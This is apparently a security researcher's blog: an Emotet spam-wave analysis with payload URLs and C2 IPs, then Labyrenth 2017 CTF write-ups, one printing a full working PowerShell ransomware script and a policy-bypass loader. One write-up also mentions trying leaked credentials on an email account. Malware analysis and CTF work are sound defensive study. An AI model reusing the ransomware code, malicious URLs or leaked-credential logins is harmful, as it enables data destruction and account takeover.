Wednesday, August 30, 2017

New Emotet Spam Wave 24.8.2017

Background story


On Thursday multiple customers contacted me about emails from business partners or colleagues that contained scans or invoices. The emails itself weren't really well done but most customers were afraid of having been breached because it looked like someone from within the company send them the mails. I started with a quick google search and could calm them down immediately because I found several similar looking emails.

You can find example emails here example mails (german)

Stage 1 - Macro Word Downloader

I noticed that each email contained an URL behind each was a download to a word document. Opening the document leads to the following image which contains a description on how to enable the content and macros.

word macro dropper


One of the first steps after just enabling macros and monitoring the network traffic, is to open the build in VBA Editor and try to debug the embedded macros. I noticed that the macros aren't password protected and that the document contains an autoopen function. The autoopen function calls another function which does all the important work. (I noticed this by just quickly stepping through it and monitoring network connections)

I added a few Debug.Print statements and could quickly figure out that the macro creates a wscript.shell object to execute a base64 encoded powershell command. The next figure contains the main macro function with a few deobfuscated strings.

Partly deobfuscated macro


The next step is to analyze the powershell and try to extract some IOCs.

Stage 2 - Base64 encoded powershell

The next step is to base64decode the powershell command to see what it does


[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String("JAB7AH..."))


base64 decoded powershell

I reformat the powershell a bit and dumb variables using Write-Host. (info: Declaring a variable like ${PA`TH} the ` gets ignored and one can just use Write-Host ${PATH} to get the content)
Which shows an array of 5 URLs where the script tries to download from.
The downloads are saved in %TEMP% with a random name in range(65536) + .exe. Afterwards the script tries to run the downloaded file.

beautified powershell

On successful download we get an executable. The script contains 5 URLs some of them are still working:

http://e-thesis.com/hpV/
http://jonjun.com/vVKbiCUJ/
http://cvif.org/CsGXp/
http://daze.com.hk/yaeRXq/
http://funkystudio.org/lEYJk/



Stage 3 - Final Payload


Running the executable I figured out two possible scenarios. The executable copies itself to %LOCALAPPDATA%\Microsoft\Windows or %SYSTEMROOT%\SYSWOW64.

running without admin rights

In the first case there seems to be no persistence as the executable won't start again on reboot.
In case 2 the executable creates a service with the executable name as name and restarts on reboot.
I noticed that even though my account is an administrator I have to explicitly start the program as administrator to observe case 2.

running with administrator rights
The service is disguised as Bitlocker Drive Encryption Service Hoster by telling the user that disabling the service would prevent Bitlocker usage.

service used for persistence


Figuring out the malware family

Monitoring the network connections I could see a request to an IP every 30 to 60 seconds. These callback to IP addresses combined with the fact that the executable name seems to rely on existing software on the computer immediately reminded me of the Infostealer/Banking Trojan Emotet.

Having a look at older analyses from Emotet v4 (https://blog.fortinet.com/2017/05/03/deep-analysis-of-new-emotet-variant-part-1) earlier this year, the samples show a similar pattern, even though the persistence mechanism is different.

In short: The old version created a new process and inserted it's code into it. The second thread had a hidden window with a WindowProc handler that determined which function should be run. These were generated using WM_TIMER messages. Running the executable and watching in Process Explorer, I noticed a similar behavior. The process started a new process and the old process stopped.

As the behavior of the new executable is quite similar I expected to find another WindowProc function somewhere. I tried my old method of extracting the C&C IP addresses of Emotet by running the malware and dumping the final stage. Then I could simply use IDA Pro or Python itself to extract the addresses. Emotet saves them in plain hex and extracts them using %u %u %u %u format strings.
I tried to use the same approach and noticed that byte patterns for callback IPs I monitored weren't in the executable. So I decided to attach a debugger.

Extracting the callback IPs






Upon attaching a debugger I noticed new threads being created every 30 seconds (in sync with new callbacks).



Having a look at the callbacks one can see that WinHttpRequests are used. These rely on creating new threats for requests.

The next step is to set breakpoints on kernel32.CreateThread and wait till the breakpoint is hit. On break just have a look at the stack. A callback address, this looks promising.




The call stack in x64 debug shows only return addresses in dlls. So I scroll further down on the stack. The first address I find outside the dlls, is pointing right after a call to HttpSendRequestW.



The next and final step is to find the IP addresses structure in memory and extract all IPs.
Therefore just run until the next return is hit and step out of the function. Right above I noticed a printf call which is used to convert the hex to decimal values.





Before the call to printf notice the 4 movzx eax, push eax instructions. Following the base address 325B298 leads to the array of callback IPs.


Each callback consists of 4 bytes for the IP and 4 bytes for the port. Converting them back leads to the following IP addresses.

173.212.227.54:443

104.236.252.178:8080

162.243.159.58:443

45.33.55.157:8080

77.244.245.37:7080

192.81.212.79:443

173.212.192.45:8080

103.16.131.20:8080


Monday, July 24, 2017

Palo Alto Labyrenth Threat 05 Writeup

Labyrenth 2017 Threat 05

For the final challenge of the threat track we are confronted with almost the same task as in threat 2. The difference this time is that we have a set of 36 files and have to find 2 rules to match all files, one should match 34 the other one the remaining 2 files. The worst part about this challenge was a typo from the challenge author ???? which I'm certain put many people on a goose hunt.

Hints:
There are 6 wildcard "?"'s within one rule.
There are 158 wildcard "?"'s within the other rule.

There will be samples that have both anchor functions.

One anchor function must cover 34 of the 36 samples
The other must cover 12 of the 36 samples.
I used the same tools/commands I mentioned in my post about threat 2 so I won't mention them here again.
I started bindiffing the smallest (4df98c74bdda906fb96368cc8720e3396b9a942c2eba253f068354fb466e4f93) with the largest (e57b24d962c8a90eb5ab98d9594d7ea077609227565beebef04c2af3cb111df5) file hoping that they would both belong to the 34/36 set. I sorted the output by similarity and function name. On the second sub_function I got lucky and got a match for 34/36 files

I used the following command followed by the yara.py from threat 2
for i in *; do xxd -p $i | tr -d '\n' | grep -o 8bff558bec83ec14535657e8.* >> ~/hex_values.txt; done
to get the first rule
 8bff558bec83ec14535657e8????ffff8365fc00833d??????00008bd80f858e00000068????4?00ff15??????008bf885ff0f842a0100008b35??????0068????4?0057ffd685c00f841401000050e8????ffffc70424????4?0057a3??????00ffd650e8????ffffc70424????4?0057a3??????00ffd650e8????ffffc70424????4?0057a3??????00ffd650e8????ffff59a3??????0085c0741468????4?0057ffd650e8????ffff59a3??????00a1??????003bc3744f391d??????00744750e8????ffffff35??????008bf0e8????ffff59598bf885f6742c85ff7428ffd685c074198d4df8516a0c8d4dec516a0150ffd785c07406f645f4017509814d1000002000eb39a1??????003bc3743050e8????ffff5985c07425ffd08945fc85c0741ca1??????003bc3741350e8????ffff5985c07408ff75fcffd08945fcff35??????00e8????ffff5985c07410ff7510ff750cff7508ff75fcffd0eb0233c05f5e5bc9c3
Again matching the complete function.

For the second rule I immediately started comparing the remaining 2 files, I first bindiffed the smaller (a81057e06bddc2bfdcd0bae8f3ed101a47e926f3d37a7f0f0378a89049725dc7) one with the larger (8b92700bac3150d3456697b64e63d21f8ca4447df57d02c7f90125c3068985d7) and tried every sub_functions without success. I noticed that many of the files have functions in the data section, so I bindiffed the larger of the two files with the smaller one. I found a function which was a sub_function in the larger file and labeled as _fread_nolock_s in the second function and to my surprise it worked


For the second rule I used
for i in *; do xxd -p $i | tr -d '\n' | grep -o 7807c745f001000000.* >> ~/hex_values.txt; done
which matches 4 out of 36 files....., so I guess the the author of the challenge made a mistake and the hint was meant to be
The other must cover 2(4???) of the 36 samples.

to get the second rule
7807c745f001000000a8407412814df000000004814df400000100834dec04a9001000007403097df0a8207409814df000000008eb0ba8107407814df000000010e8????000083cbff89063bc37521e8??
 using netcat to submit our flag we get the final flag for the threat track
 rule yara_challenge
{
    strings:
        $yara_challenge01 = { 8bff558bec83ec14535657e8????ffff8365fc00833d??????00008bd80f858e00000068????4?00ff15??????008bf885ff0f842a0100008b35??????0068????4?0057ffd685c00f841401000050e8????ffffc70424????4?0057a3??????00ffd650e8????ffffc70424????4?0057a3??????00ffd650e8????ffffc70424????4?0057a3??????00ffd650e8????ffff59a3??????0085c0741468????4?0057ffd650e8????ffff59a3??????00a1??????003bc3744f391d??????00744750e8????ffffff35??????008bf0e8????ffff59598bf885f6742c85ff7428ffd685c074198d4df8516a0c8d4dec516a0150ffd785c07406f645f4017509814d1000002000eb39a1??????003bc3743050e8????ffff5985c07425ffd08945fc85c0741ca1??????003bc3741350e8????ffff5985c07408ff75fcffd08945fcff35??????00e8????ffff5985c07410ff7510ff750cff7508ff75fcffd0eb0233c05f5e5bc9c3 }
        $yara_challenge02 = { 7807c745f001000000a8407412814df000000004814df400000100834dec04a9001000007403097df0a8207409814df000000008eb0ba8107407814df000000010e8????000083cbff89063bc37521e8?? }
    condition:
         1 of them
}

PAN{Pivot!Pivot!Pivot!Pivot!Pivot!Pivot!ShutUp!ShutUp!ShutUp!}

Palo Alto Labyrenth Threat 04 Writeup

Labyrenth 2017 Threat 04

Part 1

We are presented with a document, upon opening the file we see a warning

So let's activate the macros and see what happens.


Having a look at the vba macro editor we can see that the document isn't password protected and contains a document open function.
Private Sub Document_Open()
If ActiveDocument.Variables("ygsbFH").Value <> "goblinkingbb" Then
vsMaqqxEhbNVPMi
ActiveDocument.Variables("ygsbFH").Value = "goblinkingbb"
If ActiveDocument.ReadOnly = False Then
ActiveDocument.Save
End If
End If
End Sub
The function basically makes sure that you can only run the file once, afterwards the document variable ygsbFH is overwritten. Having a look at the vsMaqqxEhbNVPMi function we will see that the aforementioned variable is important/required for the decryption mechanism.

We have multiple ways to continue, the easiest is to just remove the code that overwrites the important document variable so we are able to run the code multiple times. Doing that and saving the file as .docm allows us to run it over and over again

Private Sub Document_Open()
If ActiveDocument.Variables("ygsbFH").Value <> "goblinkingbb" Then
vsMaqqxEhbNVPMi
End If
End Sub
I tried debugging the vsMaqqxEhbNVPMi function this way but failed to enter the function as Microsoft Word kept crashing. So I went back to my fallback mode and tried extracting the macros using oletools (https://github.com/decalage2/oletools) and copying them into a new .docm file.
To dump the macros from bbransom.doc, I placed the file in the ole folder and used
python olevba.py bbransom.doc > macros.txt
I mentioned before that the ygsbFH is important, so I dumped the variable from the original file and reloaded it in my own .docm. A code reference for write/read operation in vba is http://codevba.com/office/read_text_file_into_string_variable.htm. I added the following code to the Document_Open() function to dump the variable to var.txt

Dim myFile As String
myFile = "var.txt"
Open myFile For Output As #1
Write #1, ActiveDocument.Variables("ygsbFH").Value
Close #1







I removed the " and newline from the var.txt and saved it on my Desktop.

I created a new document and pasted the extracted macros from oletools into it. I noticed that the private function is the decoding function and references the ygsbFH variable. I replaced the original function with a modified one that loads the variable from file.

Private Function cuJgIWtkPd(dytGKUVpoS As Variant, QVuOQXtBcV As Integer)
Dim myFile As String
myFile = "C:\Users\jones\Desktop\var.txt"
Dim iFile As Integer: iFile = FreeFile
Open myFile For Input As #iFile
ygsbFH = Input(LOF(iFile), iFile)
Close #iFile
Dim TOJDOAXFXr, eXrxcIdKmp As String, cAJHqnrFBj, QnGcAinJcu
eXrxcIdKmp = ygsbFH
TOJDOAXFXr = ""
cAJHqnrFBj = 1
While cAJHqnrFBj < UBound(dytGKUVpoS) + 2
QnGcAinJcu = cAJHqnrFBj Mod Len(eXrxcIdKmp): If QnGcAinJcu = 0 Then QnGcAinJcu = Len(eXrxcIdKmp)
TOJDOAXFXr = TOJDOAXFXr + Chr(Asc(Mid(eXrxcIdKmp, QnGcAinJcu + QVuOQXtBcV, 1)) Xor CInt(dytGKUVpoS(cAJHqnrFBj - 1)))
cAJHqnrFBj = cAJHqnrFBj + 1
Wend
cuJgIWtkPd = TOJDOAXFXr
End Function
Next I had a look at the extracted macros. One can see the MsgBox we saw running the original file.



The next line is about creating a textfile which looks promising letting the decoding function do it's work we get the filepath C:\Users\public\panlaby.ps1



The next instructions are all about decoding strings and writing them to the textfile, so I ran the script to a.Close and made a backup of the file by opening Windows Explorer and copying the file to desktop.

The last lines of the macro function create a new WScript.Shell object and run the file. I once again let the decoding function do it's work and extracted the command line options.

The second parameter is C:\Users\public\panlaby.ps1
That's it for the first part of the challenge.

Part 2

The next part of the challenge is about understanding the extracted panlaby.ps1. For your reference this is the original file

$I1lII11ll1I = [System.Text.Encoding]::UTF8
$III111lllI1 = "DwImSAI1CgMYSQQ+GhoO"
$111IlIIIlll = $I1lII11ll1I.GetBytes("For great justice")
$III111lllI1 = $I1lII11ll1I.GetString([System.Convert]::FromBase64String($III111lllI1))
$lllII111lIl = $I1lII11ll1I.GetBytes($III111lllI1)
$183846385837478 = $(for ($i = 0; $i -lt $lllII111lIl.length; ) {
for ($j = 0; $j -lt $111IlIIIlll.length; $j++) {
$lllII111lIl[$i] -bxor $111IlIIIlll[$j]
$i++
if ($i -ge $lllII111lIl.Length) {
$j = $111IlIIIlll.length
}
}
})
$183846385837478 = $I1lII11ll1I.GetString($183846385837478)
$87462387472378 = "OjsjcvRgahjsHbsbbcghhdUjjcRtgWhscJhsdUjsbndRgj"
$4874585896348756 = ([Char[]](GeT-RaNdom -Input $(48..57 + 65..90 + 97..122) -Count 24)) -join ""
[byte[]]$462873463874364=[system.Text.Encoding]::Unicode.GetBytes($183846385837478)
$CFFGCHFFDSEUHGGCFT = [Text.Encoding]::UTF8.GetBytes($87462387472378)
$gYGXCbbdcRgsbfIuahs = neW-Object System.Security.Cryptography.RijndaelManaged
$gYGXCbbdcRgsbfIuahs.Key = (new-Object Security.Cryptography.Rfc2898DeriveBytes $183846385837478, $CFFGCHFFDSEUHGGCFT, 5).GetBytes(32)
$gYGXCbbdcRgsbfIuahs.IV = (new-Object Security.Cryptography.SHA1Managed).ComputeHash([Text.Encoding]::UTF8.GetBytes("alle") )[0..15]
$gYGXCbbdcRgsbfIuahs.Padding="Zeros"
$gYGXCbbdcRgsbfIuahs.Mode="CBC"
$RgxnnHgxghRThajcUJJ= gdr|where {$_.Free}|Sort-ObjeCt -Descending
foreach($TgbcRThahjdRRGHjj in $RgxnnHgxghRThajcUJJ){
gci $TgbcRThahjdRRGHjj.root -Recurse -Include "*.urbb","*.toby"|%{
try{
$ChhxnRJhhsncGHH = New-Object System.IO.BinaryReader([System.IO.File]::Open($_, [System.IO.FileMode]::Open, [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::Read),[System.Text.Encoding]::ASCII)
if ($ChhxnRJhhsncGHH.BaseStream.Length -lt 2048){return}
else
{
$gjYujsjdRThsncGHja = 2048
}
$462873463874364 = $ChhxnRJhhsncGHH.ReadBytes($gjYujsjdRThsncGHja)
$ChhxnRJhhsncGHH.Close()
$JkkxTYajncGRahjdjHJ = $gYGXCbbdcRgsbfIuahs.CreateEncryptor()
$oUUixjHHhjjxRTHNJ = new-Object IO.MemoryStream
$HhxjhTTYhajdJJJasO = new-Object Security.Cryptography.CryptoStream $oUUixjHHhjjxRTHNJ,$JkkxTYajncGRahjdjHJ,"Write"
$HhxjhTTYhajdJJJasO.Write($462873463874364, 0,$462873463874364.Length)
$HhxjhTTYhajdJJJasO.Close()
$oUUixjHHhjjxRTHNJ.Close()
$JkkxTYajncGRahjdjHJ.Clear()
$Bnx587Fhsjc7ijF4 = $oUUixjHHhjjxRTHNJ.ToArray()
$HhjxcRTahjdUYUIN = New-Object System.IO.BinaryWriter([System.IO.File]::Open($_, [System.IO.FileMode]::Open, [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::Read),[System.Text.Encoding]::ASCII)
$HhjxcRTahjdUYUIN.Write($Bnx587Fhsjc7ijF4,0,$Bnx587Fhsjc7ijF4.Length)
$HhjxcRTahjdUYUIN.Close()
$GFfstdtHjsjRhgjs=$_.Name+'.bbmine'
ren -Path $_.FullName -NewName $GFfstdtHjsjRhgjs -Force
$uUhxjhcTYhajWRahhd = $_.Directory.ToString() + '\_HELP_instructions.html'
$YuxjncRgahdjjcTYHJ = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("PGgxPkkgYW0gdGhlIGdvYmxpbiBraW5nITwvaDE+PGJyPkFsbCB1ciBiYnogIGFyZSBiZWxvbmcgdG8gdXMuIFlvdSBoYXZlIG5vIGNoYW5jZSB0byBzdXJ2aXZlIG1ha2UgeW91ciB0aW1lLg=="));
New-Item -Path $uUhxjhcTYhajWRahhd -ItemType file -Value $YuxjncRgahdjjcTYHJ
Add-Content -Path $uUhxjhcTYhajWRahhd -Value ("<h1>CLIENT ID: $4874585896348756 <br></h1>")
Add-Content -Path $uUhxjhcTYhajWRahhd -Value ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("PGgyPkNhbXBhaWduIElEOiBGaTQ4VzFVVEF3TVNRVmtRUmsxYVZBQi9EVVFSVnhRQkJ4ZEdDQmNTRUZ0VUIzUlhFRUpYRkZ4UlRFUmJRaGRIV2dWY2RncEtRMThUQVZSREV3dE5Ga1JmVndNNyA8YnI+PC9oMj4=")));
Add-Content -Path $uUhxjhcTYhajWRahhd -Value ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("PGgzPlZlcnNpb24gS2V5OiBGb3IgZ3JlYXQganVzdGljZSA8YnI+PC9oMz4=")));
}
catch
{
}
}}
function YHBFDXGFGHGJHDRSD() {
$fhYThncwwIjfDFGHsf = (Get-VaRiable MyInvocation -Scope 1).Value
$YHnbbfgcgfcEThhYH =  $fhYThncwwIjfDFGHsf.MyCommand.Path
Remove-ITem $YHnbbfgcgfcEThhYH
}
YHBFDXGFGHGJHDRSD
There are a few words sticking out immediately, Security.Cryptography function calls and _HELP_instructions.html. This looks like a powershell ransomware. Having further looks at the script one can also see two strings that look like file extensions. .urbb and .toby.
To get a better understanding of the code I started renaming variables and removed the last few lines that were responsible for deleting the file.

I ran the file by creating a cmd I called loader.cmd

powershell.exe -NoP -sta -NonI -ep bypass "C:\Users\jones\Desktop\panlaby.ps1"
pause


Running the file confirmed my suspicion about the ransomware





I noticed that it tries to read 2048 of a given file and if it fails stops, so I created a .toby file on my desktop with more than 2048 bytes and run the loader.cmd once again. The script found the file, encrupted the first 2048 bytes, changed the extension and created a _HELP_instructions.html on my desktop.

Opening the instruction file we get


The next step is to figure out how/where these values are created.
For the Client ID we find a get-random
$4874585896348756 = ([Char[]](GeT-RaNdom -Input $(48..57 + 65..90 + 97..122) -Count 24)) -join ""
The campaign ID and Version Key are static, to retrieve them I pasted the following lines into a powershell window

([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("PGgyPkNhbXBhaWduIElEOiBGaTQ4VzFVVEF3TVNRVmtRUmsxYVZBQi9EVVFSVnhRQkJ4ZEdDQmNTRUZ0VUIzUlhFRUpYRkZ4UlRFUmJRaGRIV2dWY2RncEtRMThUQVZSREV3dE5Ga1JmVndNNyA8YnI+PC9oMj4=")))
([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("PGgzPlZlcnNpb24gS2V5OiBGb3IgZ3JlYXQganVzdGljZSA8YnI+PC9oMz4=")))

So whatever file we are encoding, the Client ID will always be a random value, whereas Campaign ID and Version Key will always be the same. I had a further look at the powershell script and realized there is nothing more to to with it. So I kept thinking about what to do with the given values.

Part 3

The final part was about extracting the flag from the given values. By trial and error I base64 decoded the Campaign ID and xored the result with the key "For great justice" using the following python script


import base64
target = 'Fi48W1UTAwMSQVkQRk1aVAB/DUQRVxQBBxdGCBcSEFtUB3RXEEJXFFxRTERbQhdHWgVcdgpKQ18TAVRDEwtNFkRfVwM7'
xor_key = 'For great justice'
res = ''
target = base64.b64decode(target)
for i in range(0,len(target)):
    res+= chr(ord(target[i])^ord(xor_key[i%len(xor_key)]))
print res
The output of the script is our flag for threat 4
PAN{2afbfa3e5937e9b610fdfcfbbad27b28bb0f908d17d33f90e8c8ad573a8e064f}

Palo Alto Labyrenth Threat 03 Writeup

Labyrenth 2017 Threat 03

Threat 03 is different from all other challenges (except random 6) as it presents us with a website instead of a download http://youwontfind.me/

First step I took was to visit the website

and check the source for each page I would find

the source for the main site is given above and contains a suspicious comment

642C740D0C297E3A5E1B4D6A70346C24175D56485F7F2B3C0E1F1C6D716F3C2013095B405B2C2F385D491C62763930231A560E13507879390B414E36216B327C1A065E42022C2032

Next steps I took were to try multiple decodings for that string and use all kinds of steg tools on the images which turned out to be a dead end. If you look at the given source you can see a copyright by s. williams.
Next thing I did was a whois on youwontfind.me which returned
I googled the email address Sarah.Williams.1986@yandex.com and found a password dump, so I tried to login into the email account with the given password which obviously didn't work out (I realized it wouldn't make much sense as in everyone could just overtake the account).
I tried other hits and found a linkedin profile that looked promising https://www.linkedin.com/in/sarahwilliams1986


The profile contained many hints referring to PAN or labyrinth and also a link to a stackoverflow user
https://stackoverflow.com/users/7794824/babytoby which asked one specific question https://stackoverflow.com/questions/43807871/python-script-isnt-working/43807928

Having a look at the given python code immediately raised some suspicions. The code contained weird and obvious errors. I cleaned the code and tried the given test parameters

def encrypt(varAble1, varAble2):
    varAble1_size = len(varAble1)/float(len(varAble2))
    if str(varAble1_size).split(".")[1] == "0":
        pass
    else:
        while str(varAble1_size).split(".")[1] != "0":
            varAble1 += "@"
            varAble1_size = len(varAble1)/float(len(varAble2))
    code = []
    varAble1 = list(varAble1)
    varAble2 = list(varAble2)
    multiply_size = int(str((varAble1_size)).split(".")[0]) * 8
    while varAble1 != []:
        p_varAble1 = varAble1[0:8]
        p_varAble2 = varAble2[0:8]
        temp_list = []
        for i in xrange(0,8):
            if type(p_varAble2[i]) == type(int):
                new_ct = (ord(chr(p_varAble2[i])) ^ ord(p_varAble1[0]))
            else:
                try:
                    new_ct = (ord(p_varAble2[i]) ^ ord(p_varAble1[0]))
                except:
                    new_ct = ((p_varAble2[i]) ^ ord(p_varAble1[0]))
            code.append(new_ct)
            temp_list.append(new_ct)
            varAble1.pop(0)
            p_varAble1.pop(0)
            varAble2 = temp_list
        varAble2.reverse()
    code.reverse()
    #varAble1 = code.reverse()
    code_text = []
    for i in code:
        hex_value = hex(i)
        if len(hex_value) != 4:
            code_text.append("0" + hex(i)[2:])
        else:
            code_text.append(hex(i)[2:])
    code_text = "".join(code_text).upper()
    return code_text
I realized that the password parameter is only important for the first 8 bytes of the output, afterwards the result of the last xor calculation is used as the password for the next 8 byte chunk. To revert the operation one can simply xor the last two chunks of the encoded output with each other and repeat that process. To decode the last chunk the user supplied password is required. If n is the last chunk the decryption algorithm is to xor chunk[n] ^ chunk[n-1], chunk[n-1] ^ chuck[n-2] and concatenate the results. Running the following code with the comment from the website and without supplying a password

def decryptor(encoded_text,password=''):
    chunks = [encoded_text[i:i+2] for i in range(0, len(encoded_text), 2)]
    x = len(chunks)
    res=[]
    p_1 = ''
    p_2 = ''
    while(x > 8):
        p_1 = chunks[x-8:x]
        p_2 = chunks[x-16:x-8][::-1]
        temp = ''
        for i in range(0,8):
            temp+=chr(int(p_1[i],16)^int(p_2[i],16))
        res.append(temp)
        x-=8
    if len(password) == 8:
        x = len(chunks)
        p_1 = chunks[x-8:x][::-1]
        temp = ''
        for i in range(0,8):
            temp+=chr(int(p_1[i],16)^ord(password[i]))
        res = [temp]+res
    print ''.join(res)

prints

f45c4ba9286f2edf9f7e2d0def096b903541600624c299a731b8520bdedf}@@@


which looks promising. We know that the flag has to start with PAN{ so I calculated the first 4 chars of the password to be baby. I remembered the username of the stackoverflow account was babytoby, calling the function using the password babytoby gives us the flag
PAN{61dcf45c4ba9286f2edf9f7e2d0def096b903541600624c299a731b8520bdedf}

Palo Alto Labyrenth Threat 02 Writeup

Labyrenth 2017 Threat 02

While reading the description for the challenge I realized something odd, the description contained instructions that weren't actually needed but sounded familiar. Especially this sentence was odd

The samples are included in yara_samples.7z password is "infected"
because there was no yara_samples.7z. I checked my folder from Labyrenth 2016 and had a match for the Threat 06 challenge from last year. (Labyrenth 2016 Track solution)

The challenge looks exactly the same with a different set of samples. The old solution suggests to bindiff two of the smallest files. So let's do that, at first I tried using the same approach as the 2016 solution recommended ordering by basic blocks. As I was lazy and wanted to use the given python script from last years solutions I checked what it required. Basically it wants a file containing the hex values for each file we want to compare starting with the same byte pattern. Let's say the pattern should start with 0xDE 0xAD 0xBE 0xEF the file would look like this

DEADBEEF... bytes in file1
DEADBEEF... bytes in file2
...
If we chose the right pattern the file should contain an entry for all of our 56 files. So I bindiffed the two smallest files ef763faec48e5e29d63c38088b2fc3cebb5086bb805e6f3b020649c7bbbf8614 and de8d6ef64a8d9137834013f7263e9bdebb3be48f562af5679779376aaab0af5a ordered the results by matching basic blocks.


First try

I checked the first 5 sub_x entries (the directions stated that the rule should only match the given samples -> trying library functions doesn't make sense) by taking the first bytes of each and trying the following bash command
for i in *; do xxd -p $i | tr -d '\n' | grep -o [bytepattern].* >> ~/hex_values.txt; done
followed by yara.py (which I copied from last years solution). Without success

Second try


My next approach was to order by matched instructions with the given hint in mind
Hint: You drop me when you want to stop and lift me up when you want

when I opened sub_10001250_9 I had a good feeling about it because I saw some imports, which would make sense regarding the hint, so I gave it a try

for i in *; do xxd -p $i | tr -d '\n' | grep -o 53568b35.* >> ~/hex_values.txt; done
 I checked wc ~/hex_values.txt which returned 56 = the number of samples and ran the mentioned yara.py. The result was

 53568b35???????05768???????0ffd668???????08bf8ffd668???????0ffd668???????0ffd68b35???????068???????0578bd8ffd668???????057a3???????0ffd668???????057a3???????0ffd668???????057a3???????0ffd668???????057a3???????0ffd668???????057a3???????0ffd668???????057a3???????0ffd668???????057a3???????0ffd668???????057a3???????0ffd668???????057a3???????0ffd668???????057a3???????0ffd668???????053a3???????0ffd668???????053a3???????0ffd668???????057a3???????0ffd668???????057a3???????0ffd668???????057a3???????0ffd668???????0a3???????057ffd668???????057a3???????0ffd668???????057a3???????0ffd65f5ea3???????05bc3

If you have a look at the sub_1001250 you can see that the pattern matches the entire function. So all that's left is to copy that rule in the given template and netcat the server

cat rule.txt | netcat 52.42.81.161 8082


Which gives us the flag  
PAN{AllByMyself}

Palo Alto Labyrenth Threat 01 Writeup

Labyrenth 2017 Threat 01

For the first challenge of the threat track we are given a file called challenge.pcap.

Opening the pcap in WireShark reveals a bunch of DNS requests.

challenge.pcap

Looking at the raw requests one immediately notices a bunch of additional bytes

unusual bytes in DNS request
Given the small file size I decided to manually open the pcap in Notepad++ and extracted the additional bytes.



This gives the following sequence

UEsDBBQAAAAIAOCIr0qMVwGeKQAAACoAAAAIABwAZmlsZS5kYXRVVAkAA3QYGlmBGBpZdXgLAAEE6AMAAAToAwAAC3D0q3bMyQnIz8wrSS0q9sxz8QsOzsgvzUkBCzklJmeXJxalFNdyAQBQSwECHgMUAAAACADgiK9KjFcBnikAAAAqAAAACAAYAAAAAAAB7AAAAtIEAAAAAZmlsZS5kYXRVVAUAA3QYGll1eAsAAQToAwAABOgDAABQSwUGAAAAAAEAAQBOAAAAawAAAAAA
With the given range of characters I guessed it to be a base64 encoded string, so I used some python code to base64 decode the string and write the result to a file. To avoid decoding errors I just skipped the last byte.

import base64
target = "UEsDBBQAAAAIAOCIr0qMVwGeKQAAACoAAAAIABwAZmlsZS5kYXRVVAkAA3QYGlmBGBpZdXgLAAEE6AMAAAToAwAAC3D0q3bMyQnIz8wrSS0q9sxz8QsOzsgvzUkBCzklJmeXJxalFNdyAQBQSwECHgMUAAAACADgiK9KjFcBnikAAAAqAAAACAAYAAAAAAAB7AAAAtIEAAAAAZmlsZS5kYXRVVAUAA3QYGll1eAsAAQToAwAABOgDAABQSwUGAAAAAAEAAQBOAAAAawAAAAAA"
out_file = open('b64.bin','wb')
out_file.write(base64.b64decode(target[:-1]))

Opening the output in HxD reveals the byte sequence "50 4B 03 04" which might indicate a zip file.
b64 decoded file with zip file header

So I tried 7-zip "Extract Here" which gave me some warnings but also extracted a file called file.dat

Opening that file in Notepad++ revealed the first flag:
PAN{AllPointersInDNSShouldPointBackwards}